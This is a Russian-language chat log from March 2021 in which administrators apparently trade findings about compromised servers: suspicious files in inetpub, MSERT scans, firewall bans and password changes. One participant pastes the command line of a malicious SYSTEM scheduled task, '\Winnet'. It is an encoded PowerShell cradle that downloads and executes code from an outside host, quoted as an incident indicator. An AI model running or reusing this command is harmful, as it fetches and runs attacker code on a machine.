KK
хм.. добавлю в fw, если кто ищет такие файлы сразу его в бан
Size: a a a
2021 March 09
KK
а то вдруг еще есть дыры
V
в общем, кто подозревает что его поломали - начните с этих файлов, хотя возможно варианты
KK
у знакомого 5ть файлов было :)
KK
сейчас еще проверка идет.
A
Два просканил, пишет не найдено. Сейчас посмотрим, что на третьем.
ВБ
у знакомого 5ть файлов было :)
ГДе эти файлы лежат? В рандомных местах?
m
ГДе эти файлы лежат? В рандомных местах?
в inetpub же было, одарчук кидал свои файлы)
SO
MSERT.exe их удаляет и успешно рапортует что все ОК )
m
MSERT.exe их удаляет и успешно рапортует что все ОК )
т.е. переставлять сервер не планируешь? пароли хоть сменили?
PN
О, да детка User "S-1-5-18" registered Task Scheduler task "\Winnet"
A
Я на всякий и MSERT запустил.
SO
О, да детка User "S-1-5-18" registered Task Scheduler task "\Winnet"
PN
-ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYwBkAG4ALgBjAGgAYQB0AGMAZABuAC4AbgBlAHQALwBwAD8AaABpAGcAMgAxADAAMwAwADUAJwApAA==
SO
Паша це перемога)
KK
ГДе эти файлы лежат? В рандомных местах?
ща попробую лог собрать все
PN
Задачку сделали 3/5/2021 4:42:49 PM